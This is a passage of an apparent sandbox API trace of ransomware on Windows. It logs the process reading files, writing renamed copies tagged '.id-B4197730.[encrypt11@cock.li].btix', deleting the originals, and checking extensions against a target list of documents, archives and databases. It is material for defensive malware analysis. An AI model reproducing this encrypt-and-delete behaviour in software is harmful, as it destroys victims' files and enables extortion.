SetEndOfFile (hFile=0x360) returned 1 [0042.337] CloseHandle (hObject=0x360) returned 1 [0042.338] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0042.338] SetEndOfFile (hFile=0x35c) returned 1 [0042.338] CloseHandle (hObject=0x35c) returned 1 [0042.339] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.339] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0042.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.339] lstrlenW (lpString=".doc") returned 4 [0042.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.339] lstrlenW (lpString=".docx") returned 5 [0042.339] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.339] lstrlenW (lpString=".pdf") returned 4 [0042.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.339] lstrlenW (lpString=".xls") returned 4 [0042.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.339] lstrlenW (lpString=".xlsx") returned 5 [0042.339] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.339] lstrlenW (lpString=".ppt") returned 4 [0042.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.339] lstrlenW (lpString=".zip") returned 4 [0042.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.339] lstrlenW (lpString=".rar") returned 4 [0042.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString=".bz2") returned 4 [0042.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.340] lstrlenW (lpString=".7z") returned 3 [0042.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.340] lstrlenW (lpString=".dbf") returned 4 [0042.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.340] lstrlenW (lpString=".1cd") returned 4 [0042.340] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.340] lstrlenW (lpString=".jpg") returned 4 [0042.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.340] lstrlenW (lpString=".doc") returned 4 [0042.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString=".docx") returned 5 [0042.340] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.340] lstrlenW (lpString=".pdf") returned 4 [0042.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString=".xls") returned 4 [0042.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString=".xlsx") returned 5 [0042.340] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.340] lstrlenW (lpString=".ppt") returned 4 [0042.340] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.340] lstrlenW (lpString=".zip") returned 4 [0042.340] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString=".rar") returned 4 [0042.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.340] lstrlenW (lpString=".bz2") returned 4 [0042.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.340] lstrlenW (lpString=".7z") returned 3 [0042.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.341] lstrlenW (lpString=".dbf") returned 4 [0042.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.341] lstrlenW (lpString=".1cd") returned 4 [0042.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0042.341] lstrlenW (lpString=".jpg") returned 4 [0042.341] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.341] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.341] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.341] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.343] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=18264) returned 1 [0042.343] CloseHandle (hObject=0x35c) returned 1 [0042.343] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0042.343] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.344] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0042.344] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0042.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0042.364] GetLastError () returned 0x0 [0042.364] ReadFile (in: hFile=0x35c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x4758, lpOverlapped=0x0) returned 1 [0042.566] WriteFile (in: hFile=0x360, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x4760, lpOverlapped=0x0) returned 1 [0042.567] ReadFile (in: hFile=0x35c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0042.567] WriteFile (in: hFile=0x360, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.567] SetEndOfFile (hFile=0x360) returned 1 [0042.567] CloseHandle (hObject=0x360) returned 1 [0042.568] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0042.568] SetEndOfFile (hFile=0x35c) returned 1 [0042.569] CloseHandle (hObject=0x35c) returned 1 [0042.569] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.569] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.569] lstrlenW (lpString=".doc") returned 4 [0042.569] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.569] lstrlenW (lpString=".docx") returned 5 [0042.569] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.569] lstrlenW (lpString=".pdf") returned 4 [0042.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString=".xls") returned 4 [0042.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString=".xlsx") returned 5 [0042.570] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.570] lstrlenW (lpString=".ppt") returned 4 [0042.570] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.570] lstrlenW (lpString=".zip") returned 4 [0042.570] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString=".rar") returned 4 [0042.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString=".bz2") returned 4 [0042.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.570] lstrlenW (lpString=".7z") returned 3 [0042.570] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.570] lstrlenW (lpString=".dbf") returned 4 [0042.570] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.570] lstrlenW (lpString=".1cd") returned 4 [0042.570] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.570] lstrlenW (lpString=".jpg") returned 4 [0042.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.570] lstrlenW (lpString=".doc") returned 4 [0042.570] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString=".docx") returned 5 [0042.570] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.570] lstrlenW (lpString=".pdf") returned 4 [0042.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString=".xls") returned 4 [0042.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.570] lstrlenW (lpString=".xlsx") returned 5 [0042.571] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.571] lstrlenW (lpString=".ppt") returned 4 [0042.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.571] lstrlenW (lpString=".zip") returned 4 [0042.571] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.571] lstrlenW (lpString=".rar") returned 4 [0042.571] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.571] lstrlenW (lpString=".bz2") returned 4 [0042.571] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.571] lstrlenW (lpString=".7z") returned 3 [0042.571] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.571] lstrlenW (lpString=".dbf") returned 4 [0042.571] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.571] lstrlenW (lpString=".1cd") returned 4 [0042.571] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0042.571] lstrlenW (lpString=".jpg") returned 4 [0042.571] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.571] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.571] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.224] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=14168) returned 1 [0043.224] CloseHandle (hObject=0x30c) returned 1 [0043.224] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0043.224] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.224] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.224] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0043.225] GetLastError () returned 0x0 [0043.225] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x3758, lpOverlapped=0x0) returned 1 [0043.292] WriteFile (in: hFile=0x324, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x3760, lpOverlapped=0x0) returned 1 [0043.293] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0043.293] WriteFile (in: hFile=0x324, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xf8, lpOverlapped=0x0) returned 1 [0043.293] SetEndOfFile (hFile=0x324) returned 1 [0043.293] CloseHandle (hObject=0x324) returned 1 [0043.294] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.294] SetEndOfFile (hFile=0x30c) returned 1 [0043.295] CloseHandle (hObject=0x30c) returned 1 [0043.295] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.296] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0043.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.296] lstrlenW (lpString=".doc") returned 4 [0043.296] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.296] lstrlenW (lpString=".docx") returned 5 [0043.296] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.296] lstrlenW (lpString=".pdf") returned 4 [0043.296] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.296] lstrlenW (lpString=".xls") returned 4 [0043.296] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.296] lstrlenW (lpString=".xlsx") returned 5 [0043.296] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.296] lstrlenW (lpString=".ppt") returned 4 [0043.296] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.296] lstrlenW (lpString=".zip") returned 4 [0043.296] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString=".rar") returned 4 [0043.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString=".bz2") returned 4 [0043.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.297] lstrlenW (lpString=".7z") returned 3 [0043.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.297] lstrlenW (lpString=".dbf") returned 4 [0043.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.297] lstrlenW (lpString=".1cd") returned 4 [0043.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.297] lstrlenW (lpString=".jpg") returned 4 [0043.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.297] lstrlenW (lpString=".doc") returned 4 [0043.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString=".docx") returned 5 [0043.297] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.297] lstrlenW (lpString=".pdf") returned 4 [0043.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString=".xls") returned 4 [0043.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString=".xlsx") returned 5 [0043.297] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.297] lstrlenW (lpString=".ppt") returned 4 [0043.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.297] lstrlenW (lpString=".zip") returned 4 [0043.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString=".rar") returned 4 [0043.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.297] lstrlenW (lpString=".bz2") returned 4 [0043.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.298] lstrlenW (lpString=".7z") returned 3 [0043.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.298] lstrlenW (lpString=".dbf") returned 4 [0043.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.298] lstrlenW (lpString=".1cd") returned 4 [0043.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0043.298] lstrlenW (lpString=".jpg") returned 4 [0043.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.298] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.298] lstrlenW (lpString="Print.ico") returned 9 [0043.298] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.344] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=1150) returned 1 [0043.345] CloseHandle (hObject=0x320) returned 1 [0043.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0043.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.346] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.346] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.346] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.346] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.352] GetLastError () returned 0x0 [0043.352] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x47e, lpOverlapped=0x0) returned 1 [0043.537] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x480, lpOverlapped=0x0) returned 1 [0043.538] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0043.538] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xe6, lpOverlapped=0x0) returned 1 [0043.538] SetEndOfFile (hFile=0x2d8) returned 1 [0043.538] CloseHandle (hObject=0x2d8) returned 1 [0043.539] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.539] SetEndOfFile (hFile=0x30c) returned 1 [0043.539] CloseHandle (hObject=0x30c) returned 1 [0043.540] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.540] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0043.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.540] lstrlenW (lpString=".doc") returned 4 [0043.540] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.540] lstrlenW (lpString=".docx") returned 5 [0043.540] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0043.540] lstrlenW (lpString=".pdf") returned 4 [0043.540] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.540] lstrlenW (lpString=".xls") returned 4 [0043.540] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.540] lstrlenW (lpString=".xlsx") returned 5 [0043.540] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0043.540] lstrlenW (lpString=".ppt") returned 4 [0043.540] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.540] lstrlenW (lpString=".zip") returned 4 [0043.540] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.541] lstrlenW (lpString=".rar") returned 4 [0043.541] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.541] lstrlenW (lpString=".bz2") returned 4 [0043.541] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.541] lstrlenW (lpString=".7z") returned 3 [0043.541] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.541] lstrlenW (lpString=".dbf") returned 4 [0043.541] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.541] lstrlenW (lpString=".1cd") returned 4 [0043.541] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.541] lstrlenW (lpString=".jpg") returned 4 [0043.541] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.541] lstrlenW 